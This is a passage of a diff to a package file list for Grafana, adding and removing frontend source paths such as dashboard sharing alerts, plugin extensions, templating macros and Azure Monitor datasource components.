+%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ModalAlerts/SaveDashboardChangesAlert.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ModalAlerts/UnsupportedDataSourcesAlert.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ModalAlerts/UnsupportedTemplateVariablesAlert.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/SharePublicDashboard.test.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/SharePublicDashboard.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/SharePublicDashboardUtils.test.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/SharePublicDashboardUtils.ts %%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/SupportedPubdashDatasources.ts +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/utilsTest.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ShareSnapshot.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ThemePicker.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ViewJsonModal.tsx @@ -1201,6 +1218,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/containers/PublicDashboardPage.tsx %%DATADIR%%/public/app/features/dashboard/containers/SoloPanelPage.test.tsx %%DATADIR%%/public/app/features/dashboard/containers/SoloPanelPage.tsx +%%DATADIR%%/public/app/features/dashboard/dashgrid/DashboardEmpty.tsx %%DATADIR%%/public/app/features/dashboard/dashgrid/DashboardGrid.test.tsx %%DATADIR%%/public/app/features/dashboard/dashgrid/DashboardGrid.tsx %%DATADIR%%/public/app/features/dashboard/dashgrid/DashboardPanel.tsx @@ -1252,6 +1270,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/state/selectors.ts %%DATADIR%%/public/app/features/dashboard/state/utils.test.ts %%DATADIR%%/public/app/features/dashboard/state/utils.ts +%%DATADIR%%/public/app/features/dashboard/utils/dashboard.ts %%DATADIR%%/public/app/features/dashboard/utils/getPanelMenu.test.ts %%DATADIR%%/public/app/features/dashboard/utils/getPanelMenu.ts %%DATADIR%%/public/app/features/dashboard/utils/getRefreshFromUrl.test.ts @@ -1263,6 +1282,19 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/utils/panelMerge.ts %%DATADIR%%/public/app/features/dashboard/utils/screen.ts %%DATADIR%%/public/app/features/dashboard/utils/timeRange.ts +%%DATADIR%%/public/app/features/dataframe-import/constants.ts +%%DATADIR%%/public/app/features/dataframe-import/index.ts +%%DATADIR%%/public/app/features/dataframe-import/types.ts +%%DATADIR%%/public/app/features/dataframe-import/utils.test.ts +%%DATADIR%%/public/app/features/dataframe-import/utils.ts +%%DATADIR%%/public/app/features/datasource-drawer/DataSourceDrawer.test.ts +%%DATADIR%%/public/app/features/datasource-drawer/DataSourceDrawer.tsx +%%DATADIR%%/public/app/features/datasource-drawer/DataSourcePicker.tsx +%%DATADIR%%/public/app/features/datasource-drawer/DataSourcePickerWithHistory.test.ts +%%DATADIR%%/public/app/features/datasource-drawer/DataSourcePickerWithHistory.tsx +%%DATADIR%%/public/app/features/datasource-drawer/components/DataSourceCard.tsx +%%DATADIR%%/public/app/features/datasource-drawer/components/DataSourceDisplay.tsx +%%DATADIR%%/public/app/features/datasource-drawer/types.ts %%DATADIR%%/public/app/features/datasources/__mocks__/dataSourcesMocks.ts %%DATADIR%%/public/app/features/datasources/__mocks__/index.ts %%DATADIR%%/public/app/features/datasources/__mocks__/store.navIndex.mock.ts @@ -1398,6 +1430,8 @@ bin/grafana-server %%DATADIR%%/public/app/features/explore/LogsSamplePanel.tsx %%DATADIR%%/public/app/features/explore/LogsVolumePanel.test.tsx %%DATADIR%%/public/app/features/explore/LogsVolumePanel.tsx +%%DATADIR%%/public/app/features/explore/LogsVolumePanelList.test.tsx +%%DATADIR%%/public/app/features/explore/LogsVolumePanelList.tsx %%DATADIR%%/public/app/features/explore/MetaInfoText.test.tsx %%DATADIR%%/public/app/features/explore/MetaInfoText.tsx %%DATADIR%%/public/app/features/explore/NoData.tsx @@ -1425,6 +1459,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/explore/RichHistory/RichHistoryCard.tsx %%DATADIR%%/public/app/features/explore/RichHistory/RichHistoryContainer.test.tsx %%DATADIR%%/public/app/features/explore/RichHistory/RichHistoryContainer.tsx +%%DATADIR%%/public/app/features/explore/RichHistory/RichHistoryQueriesTab.test.tsx %%DATADIR%%/public/app/features/explore/RichHistory/RichHistoryQueriesTab.tsx %%DATADIR%%/public/app/features/explore/RichHistory/RichHistorySettingsTab.test.tsx %%DATADIR%%/public/app/features/explore/RichHistory/RichHistorySettingsTab.tsx @@ -1447,6 +1482,10 @@ bin/grafana-server %%DATADIR%%/public/app/features/explore/TraceView/components/ScrollManager.test.ts %%DATADIR%%/public/app/features/explore/TraceView/components/ScrollManager.tsx %%DATADIR%%/public/app/features/explore/TraceView/components/Theme.tsx +%%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/Actions/ActionButton.tsx +%%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/Actions/TracePageActions.tsx +%%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/NewTracePageHeader.test.tsx +%%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/NewTracePageHeader.tsx %%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/SpanGraph/CanvasSpanGraph.test.tsx %%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/SpanGraph/CanvasSpanGraph.tsx %%DATADIR%%/public/app/features/explore/TraceView/components/TracePageHeader/SpanGraph/GraphTicks.test.tsx @@ -1613,12 +1652,15 @@ bin/grafana-server %%DATADIR%%/public/app/features/explore/TraceView/useViewRange.test.ts %%DATADIR%%/public/app/features/explore/TraceView/useViewRange.ts %%DATADIR%%/public/app/features/explore/TraceView/utils/transform.ts +%%DATADIR%%/public/app/features/explore/__mocks__/data.ts %%DATADIR%%/public/app/features/explore/__mocks__/mockData.ts +%%DATADIR%%/public/app/features/explore/spec/datasourceState.test.tsx %%DATADIR%%/public/app/features/explore/spec/helper/assert.ts %%DATADIR%%/public/app/features/explore/spec/helper/interactions.ts %%DATADIR%%/public/app/features/explore/spec/helper/query.ts %%DATADIR%%/public/app/features/explore/spec/helper/setup.tsx %%DATADIR%%/public/app/features/explore/spec/interpolation.test.tsx +%%DATADIR%%/public/app/features/explore/spec/query.test.tsx %%DATADIR%%/public/app/features/explore/spec/queryHistory.test.tsx %%DATADIR%%/public/app/features/explore/state/datasource.test.ts %%DATADIR%%/public/app/features/explore/state/datasource.ts @@ -1644,6 +1686,9 @@ bin/grafana-server %%DATADIR%%/public/app/features/explore/utils/links.test.ts %%DATADIR%%/public/app/features/explore/utils/links.ts %%DATADIR%%/public/app/features/explore/utils/logs.ts +%%DATADIR%%/public/app/features/explore/utils/logsVolumeResponse.test.ts +%%DATADIR%%/public/app/features/explore/utils/logsVolumeResponse.ts +%%DATADIR%%/public/app/features/explore/utils/supplementaryQueries.test.ts %%DATADIR%%/public/app/features/explore/utils/supplementaryQueries.ts %%DATADIR%%/public/app/features/explore/utils/time.ts %%DATADIR%%/public/app/features/expressions/ExpressionDatasource.test.ts @@ -1753,20 +1798,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/live/index.ts %%DATADIR%%/public/app/features/live/live.test.ts %%DATADIR%%/public/app/features/live/live.ts -%%DATADIR%%/public/app/features/live/pages/AddNewRule.tsx -%%DATADIR%%/public/app/features/live/pages/CloudAdminPage.tsx -%%DATADIR%%/public/app/features/live/pages/FeatureTogglePage.tsx -%%DATADIR%%/public/app/features/live/pages/LiveStatusPage.tsx -%%DATADIR%%/public/app/features/live/pages/PipelineAdminPage.tsx -%%DATADIR%%/public/app/features/live/pages/PipelineTable.tsx -%%DATADIR%%/public/app/features/live/pages/RuleModal.tsx -%%DATADIR%%/public/app/features/live/pages/RuleSettingsArray.tsx -%%DATADIR%%/public/app/features/live/pages/RuleSettingsEditor.tsx -%%DATADIR%%/public/app/features/live/pages/RuleTest.tsx -%%DATADIR%%/public/app/features/live/pages/routes.ts -%%DATADIR%%/public/app/features/live/pages/types.ts -%%DATADIR%%/public/app/features/live/pages/utils.ts -%%DATADIR%%/public/app/features/live/pipeline/models.gen.ts %%DATADIR%%/public/app/features/logs/components/LogDetails.test.tsx %%DATADIR%%/public/app/features/logs/components/LogDetails.tsx %%DATADIR%%/public/app/features/logs/components/LogDetailsRow.test.tsx @@ -1929,6 +1960,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/plugins/admin/state/hooks.ts %%DATADIR%%/public/app/features/plugins/admin/state/reducer.ts %%DATADIR%%/public/app/features/plugins/admin/state/selectors.ts +%%DATADIR%%/public/app/features/plugins/admin/tracking.ts %%DATADIR%%/public/app/features/plugins/admin/types.ts %%DATADIR%%/public/app/features/plugins/all.ts %%DATADIR%%/public/app/features/plugins/built_in_plugins.ts @@ -1938,6 +1970,17 @@ bin/grafana-server %%DATADIR%%/public/app/features/plugins/components/PluginStateInfo.tsx %%DATADIR%%/public/app/features/plugins/components/PluginsErrorsInfo.tsx %%DATADIR%%/public/app/features/plugins/datasource_srv.ts +%%DATADIR%%/public/app/features/plugins/extensions/constants.ts +%%DATADIR%%/public/app/features/plugins/extensions/createPluginExtensionRegistry.test.ts +%%DATADIR%%/public/app/features/plugins/extensions/createPluginExtensionRegistry.ts +%%DATADIR%%/public/app/features/plugins/extensions/extensionsPerPlugin.ts +%%DATADIR%%/public/app/features/plugins/extensions/getPluginExtensions.test.ts +%%DATADIR%%/public/app/features/plugins/extensions/getPluginExtensions.ts +%%DATADIR%%/public/app/features/plugins/extensions/types.ts +%%DATADIR%%/public/app/features/plugins/extensions/utils.test.tsx +%%DATADIR%%/public/app/features/plugins/extensions/utils.tsx +%%DATADIR%%/public/app/features/plugins/extensions/validators.test.ts +%%DATADIR%%/public/app/features/plugins/extensions/validators.ts %%DATADIR%%/public/app/features/plugins/importPanelPlugin.ts %%DATADIR%%/public/app/features/plugins/pluginPreloader.ts %%DATADIR%%/public/app/features/plugins/pluginSettings.test.ts @@ -1954,7 +1997,8 @@ bin/grafana-server %%DATADIR%%/public/app/features/plugins/sql/components/TableSelector.tsx %%DATADIR%%/public/app/features/plugins/sql/components/configuration/ConnectionLimits.tsx %%DATADIR%%/public/app/features/plugins/sql/components/configuration/TLSSecretsConfig.tsx -%%DATADIR%%/public/app/features/plugins/sql/components/configuration/useMigrateDatabaseField.ts +%%DATADIR%%/public/app/features/plugins/sql/components/configuration/useMigrateDatabaseFields.test.ts +%%DATADIR%%/public/app/features/plugins/sql/components/configuration/useMigrateDatabaseFields.ts %%DATADIR%%/public/app/features/plugins/sql/components/index.ts %%DATADIR%%/public/app/features/plugins/sql/components/query-editor-raw/QueryEditorRaw.tsx %%DATADIR%%/public/app/features/plugins/sql/components/query-editor-raw/QueryToolbox.tsx @@ -2011,38 +2055,15 @@ bin/grafana-server %%DATADIR%%/public/app/features/profile/state/reducers.ts %%DATADIR%%/public/app/features/profile/state/selectors.ts %%DATADIR%%/public/app/features/profile/types.ts -%%DATADIR%%/public/app/features/query-library/api/SavedQueriesApi.ts -%%DATADIR%%/public/app/features/query-library/api/SavedQueriesSrv.ts -%%DATADIR%%/public/app/features/query-library/components/CreateNewQuery.tsx -%%DATADIR%%/public/app/features/query-library/components/DatasourceTypePicker.tsx -%%DATADIR%%/public/app/features/query-library/components/HistoryTab.tsx -%%DATADIR%%/public/app/features/query-library/components/Queries.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryCreateDrawer.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryEditor.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryEditorDrawer.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryEditorDrawerHeader.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryImportDrawer.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryLibraryPage.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryLibrarySearchTable.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryListItem.tsx -%%DATADIR%%/public/app/features/query-library/components/QueryName.tsx -%%DATADIR%%/public/app/features/query-library/components/SaveQueryWorkflowModal.tsx -%%DATADIR%%/public/app/features/query-library/components/UsagesTab.tsx -%%DATADIR%%/public/app/features/query-library/components/VariablesTab.tsx -%%DATADIR%%/public/app/features/query-library/globalStyles.ts -%%DATADIR%%/public/app/features/query-library/img/grafana_incident.svg -%%DATADIR%%/public/app/features/query-library/img/grafana_ml.svg -%%DATADIR%%/public/app/features/query-library/img/grafana_oncall.svg -%%DATADIR%%/public/app/features/query-library/routes.tsx -%%DATADIR%%/public/app/features/query-library/types.ts -%%DATADIR%%/public/app/features/query-library/utils.ts %%DATADIR%%/public/app/features/query/components/QueryActionComponent.ts %%DATADIR%%/public/app/features/query/components/QueryEditorRow.test.ts %%DATADIR%%/public/app/features/query/components/QueryEditorRow.tsx %%DATADIR%%/public/app/features/query/components/QueryEditorRowHeader.test.tsx %%DATADIR%%/public/app/features/query/components/QueryEditorRowHeader.tsx +%%DATADIR%%/public/app/features/query/components/QueryEditorRows.test.tsx %%DATADIR%%/public/app/features/query/components/QueryEditorRows.tsx %%DATADIR%%/public/app/features/query/components/QueryErrorAlert.tsx +%%DATADIR%%/public/app/features/query/components/QueryGroup.test.tsx %%DATADIR%%/public/app/features/query/components/QueryGroup.tsx %%DATADIR%%/public/app/features/query/components/QueryGroupOptions.tsx %%DATADIR%%/public/app/features/query/components/SavedQueryPicker.tsx @@ -2079,27 +2100,26 @@ bin/grafana-server %%DATADIR%%/public/app/features/runtime/init.ts %%DATADIR%%/public/app/features/sandbox/BenchmarksPage.tsx %%DATADIR%%/public/app/features/sandbox/TestStuffPage.tsx -%%DATADIR%%/public/app/features/scenes/SceneEmbeddedPage.tsx %%DATADIR%%/public/app/features/scenes/SceneListPage.tsx %%DATADIR%%/public/app/features/scenes/ScenePage.tsx +%%DATADIR%%/public/app/features/scenes/apps/GrafanaMonitoringApp.tsx +%%DATADIR%%/public/app/features/scenes/apps/SceneRadioToggle.tsx +%%DATADIR%%/public/app/features/scenes/apps/SceneSearchBox.tsx +%%DATADIR%%/public/app/features/scenes/apps/scenes.ts +%%DATADIR%%/public/app/features/scenes/apps/transforms.ts +%%DATADIR%%/public/app/features/scenes/apps/utils.ts %%DATADIR%%/public/app/features/scenes/builders/panelBuilders.ts %%DATADIR%%/public/app/features/scenes/dashboard/DashboardScene.tsx %%DATADIR%%/public/app/features/scenes/dashboard/DashboardScenePage.tsx %%DATADIR%%/public/app/features/scenes/dashboard/DashboardsLoader.test.ts %%DATADIR%%/public/app/features/scenes/dashboard/DashboardsLoader.ts -%%DATADIR%%/public/app/features/scenes/editor/SceneComponentEditWrapper.tsx -%%DATADIR%%/public/app/features/scenes/editor/SceneEditManager.tsx -%%DATADIR%%/public/app/features/scenes/editor/SceneObjectEditor.tsx -%%DATADIR%%/public/app/features/scenes/editor/SceneObjectTree.tsx -%%DATADIR%%/public/app/features/scenes/scenes/demo.tsx -%%DATADIR%%/public/app/features/scenes/scenes/grid.tsx +%%DATADIR%%/public/app/features/scenes/dashboard/ShareQueryDataProvider.test.ts +%%DATADIR%%/public/app/features/scenes/dashboard/ShareQueryDataProvider.ts +%%DATADIR%%/public/app/features/scenes/dashboard/utils.ts %%DATADIR%%/public/app/features/scenes/scenes/gridMultiTimeRange.tsx %%DATADIR%%/public/app/features/scenes/scenes/gridMultiple.tsx %%DATADIR%%/public/app/features/scenes/scenes/gridWithMultipleData.tsx -%%DATADIR%%/public/app/features/scenes/scenes/gridWithRow.tsx -%%DATADIR%%/public/app/features/scenes/scenes/gridWithRows.tsx %%DATADIR%%/public/app/features/scenes/scenes/index.tsx -%%DATADIR%%/public/app/features/scenes/scenes/nested.tsx %%DATADIR%%/public/app/features/scenes/scenes/queries.ts %%DATADIR%%/public/app/features/scenes/scenes/queryVariableDemo.tsx %%DATADIR%%/public/app/features/scenes/scenes/sceneWithRows.tsx @@ -2128,12 +2148,12 @@ bin/grafana-server %%DATADIR%%/public/app/features/search/page/components/ExplainScorePopup.tsx %%DATADIR%%/public/app/features/search/page/components/FolderSection.test.tsx %%DATADIR%%/public/app/features/search/page/components/FolderSection.tsx -%%DATADIR%%/public/app/features/search/page/components/FolderView.test.tsx -%%DATADIR%%/public/app/features/search/page/components/FolderView.tsx %%DATADIR%%/public/app/features/search/page/components/ManageActions.test.tsx %%DATADIR%%/public/app/features/search/page/components/ManageActions.tsx %%DATADIR%%/public/app/features/search/page/components/MoveToFolderModal.test.tsx %%DATADIR%%/public/app/features/search/page/components/MoveToFolderModal.tsx +%%DATADIR%%/public/app/features/search/page/components/RootFolderView.test.tsx +%%DATADIR%%/public/app/features/search/page/components/RootFolderView.tsx %%DATADIR%%/public/app/features/search/page/components/SearchResultsCards.test.tsx %%DATADIR%%/public/app/features/search/page/components/SearchResultsCards.tsx %%DATADIR%%/public/app/features/search/page/components/SearchResultsGrid.test.tsx @@ -2148,6 +2168,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/search/page/selection.ts %%DATADIR%%/public/app/features/search/service/bluge.ts %%DATADIR%%/public/app/features/search/service/dummy.ts +%%DATADIR%%/public/app/features/search/service/folders.ts %%DATADIR%%/public/app/features/search/service/frontend.test.ts %%DATADIR%%/public/app/features/search/service/frontend.ts %%DATADIR%%/public/app/features/search/service/index.ts @@ -2174,21 +2195,18 @@ bin/grafana-server %%DATADIR%%/public/app/features/serviceaccounts/components/ServiceAccountRoleRow.tsx %%DATADIR%%/public/app/features/serviceaccounts/components/ServiceAccountTokensTable.tsx %%DATADIR%%/public/app/features/serviceaccounts/components/ServiceAccountsListItem.tsx -%%DATADIR%%/public/app/features/serviceaccounts/constants.ts %%DATADIR%%/public/app/features/serviceaccounts/state/actions.ts %%DATADIR%%/public/app/features/serviceaccounts/state/actionsServiceAccountPage.ts %%DATADIR%%/public/app/features/serviceaccounts/state/reducers.ts %%DATADIR%%/public/app/features/storage/AddRootView.tsx %%DATADIR%%/public/app/features/storage/Breadcrumb.tsx %%DATADIR%%/public/app/features/storage/CreateNewFolderModal.tsx -%%DATADIR%%/public/app/features/storage/ExportPage.tsx %%DATADIR%%/public/app/features/storage/FileView.tsx %%DATADIR%%/public/app/features/storage/FolderView.tsx %%DATADIR%%/public/app/features/storage/RootView.tsx %%DATADIR%%/public/app/features/storage/StorageFolderPage.tsx %%DATADIR%%/public/app/features/storage/StoragePage.tsx %%DATADIR%%/public/app/features/storage/UploadButton.tsx -%%DATADIR%%/public/app/features/storage/k8s/K8SPage.tsx %%DATADIR%%/public/app/features/storage/storage.ts %%DATADIR%%/public/app/features/storage/types.ts %%DATADIR%%/public/app/features/support-bundles/SupportBundles.tsx @@ -2220,9 +2238,16 @@ bin/grafana-server %%DATADIR%%/public/app/features/teams/state/selectors.test.ts %%DATADIR%%/public/app/features/teams/state/selectors.ts %%DATADIR%%/public/app/features/templating/LegacyVariableWrapper.ts +%%DATADIR%%/public/app/features/templating/dataMacros.test.ts +%%DATADIR%%/public/app/features/templating/dataMacros.ts +%%DATADIR%%/public/app/features/templating/formatVariableValue.test.ts +%%DATADIR%%/public/app/features/templating/formatVariableValue.ts +%%DATADIR%%/public/app/features/templating/macroRegistry.test.ts +%%DATADIR%%/public/app/features/templating/macroRegistry.ts %%DATADIR%%/public/app/features/templating/template_srv.mock.ts %%DATADIR%%/public/app/features/templating/template_srv.test.ts %%DATADIR%%/public/app/features/templating/template_srv.ts +%%DATADIR%%/public/app/features/templating/types.ts %%DATADIR%%/public/app/features/transformers/FilterByValueTransformer/FilterByValueFilterEditor.tsx %%DATADIR%%/public/app/features/transformers/FilterByValueTransformer/FilterByValueTransformerEditor.tsx %%DATADIR%%/public/app/features/transformers/FilterByValueTransformer/ValueMatchers/BasicMatcherEditor.tsx @@ -2236,7 +2261,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/transformers/calculateHeatmap/editor/helper.ts %%DATADIR%%/public/app/features/transformers/calculateHeatmap/heatmap.test.ts %%DATADIR%%/public/app/features/transformers/calculateHeatmap/heatmap.ts -%%DATADIR%%/public/app/features/transformers/calculateHeatmap/models.gen.ts %%DATADIR%%/public/app/features/transformers/calculateHeatmap/utils.ts %%DATADIR%%/public/app/features/transformers/configFromQuery/ConfigFromQueryTransformerEditor.test.tsx %%DATADIR%%/public/app/features/transformers/configFromQuery/ConfigFromQueryTransformerEditor.tsx @@ -2280,6 +2304,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/transformers/partitionByValues/partitionByValues.test.ts %%DATADIR%%/public/app/features/transformers/partitionByValues/partitionByValues.ts %%DATADIR%%/public/app/features/transformers/prepareTimeSeries/PrepareTimeSeriesEditor.tsx +%%DATADIR%%/public/app/features/transformers/prepareTimeSeries/__snapshots__/prepareTimeSeries.test.ts.snap %%DATADIR%%/public/app/features/transformers/prepareTimeSeries/prepareTimeSeries.test.ts %%DATADIR%%/public/app/features/transformers/prepareTimeSeries/prepareTimeSeries.ts %%DATADIR%%/public/app/features/transformers/rowsToFields/RowsToFieldsTransformerEditor.test.tsx @@ -2293,6 +2318,9 @@ bin/grafana-server %%DATADIR%%/public/app/features/transformers/spatial/spatialTransformer.ts %%DATADIR%%/public/app/features/transformers/spatial/utils.ts %%DATADIR%%/public/app/features/transformers/standardTransformers.ts +%%DATADIR%%/public/app/features/transformers/timeSeriesTable/TimeSeriesTableTransformEditor.tsx +%%DATADIR%%/public/app/features/transformers/timeSeriesTable/timeSeriesTableTransformer.test.ts +%%DATADIR%%/public/app/features/transformers/timeSeriesTable/timeSeriesTableTransformer.ts %%DATADIR%%/public/app/features/transformers/utils.ts %%DATADIR%%/public/app/features/users/TokenRevokedModal.tsx %%DATADIR%%/public/app/features/users/UsersActionBar.test.tsx @@ -2478,6 +2506,160 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/alertmanager/module.ts %%DATADIR%%/public/app/plugins/datasource/alertmanager/plugin.json %%DATADIR%%/public/app/plugins/datasource/alertmanager/types.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/README.md +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/argResourcePickerResponse.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/datasource.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/errors.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/instanceSettings.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/panelData.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/query.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/query_ctrl.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/resourcePickerRows.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/sdk.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/utils.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/__mocks__/variables.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azureMetadata/index.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azureMetadata/logsResourceTypes.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azureMetadata/resourceTypes.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_log_analytics/__mocks__/schema.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_log_analytics/azure_log_analytics_datasource.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_log_analytics/azure_log_analytics_datasource.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_log_analytics/response_parser.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_monitor/azure_monitor_datasource.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_monitor/azure_monitor_datasource.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_monitor/response_parser.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_monitor/url_builder.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_monitor/url_builder.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_resource_graph/azure_resource_graph_datasource.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/azure_resource_graph/azure_resource_graph_datasource.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ArgQueryEditor/ArgQueryEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ArgQueryEditor/ArgQueryEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ArgQueryEditor/QueryField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ArgQueryEditor/SubscriptionField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ArgQueryEditor/index.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/AzureCredentialsForm.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/AzureCredentialsForm.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ConfigEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ConfigEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/DefaultSubscription.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/DefaultSubscription.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/Field.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/AdvancedResourcePicker.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/AdvancedResourcePicker.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/FormatAsField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/LogsQueryEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/LogsQueryEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/QueryField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/index.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/setQueryValue.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/LogsQueryEditor/useMigrations.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/AdvancedResourcePicker.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/AdvancedResourcePicker.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/AggregationField.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/AggregationField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/DimensionFields.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/DimensionFields.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/LegendFormatField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricNameField.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricNameField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricNamespaceField.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricNamespaceField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricsQueryEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/MetricsQueryEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/TimeGrainField.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/TimeGrainField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/TopField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/dataHooks.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/dataHooks.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/setQueryValue.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MetricsQueryEditor/setQueryValue.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/MonitorConfig.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/QueryEditor/QueryEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/QueryEditor/QueryEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/QueryEditor/index.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/QueryEditor/usePreparedQuery.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/QueryHeader.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourceField/ResourceField.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourceField/index.tsx 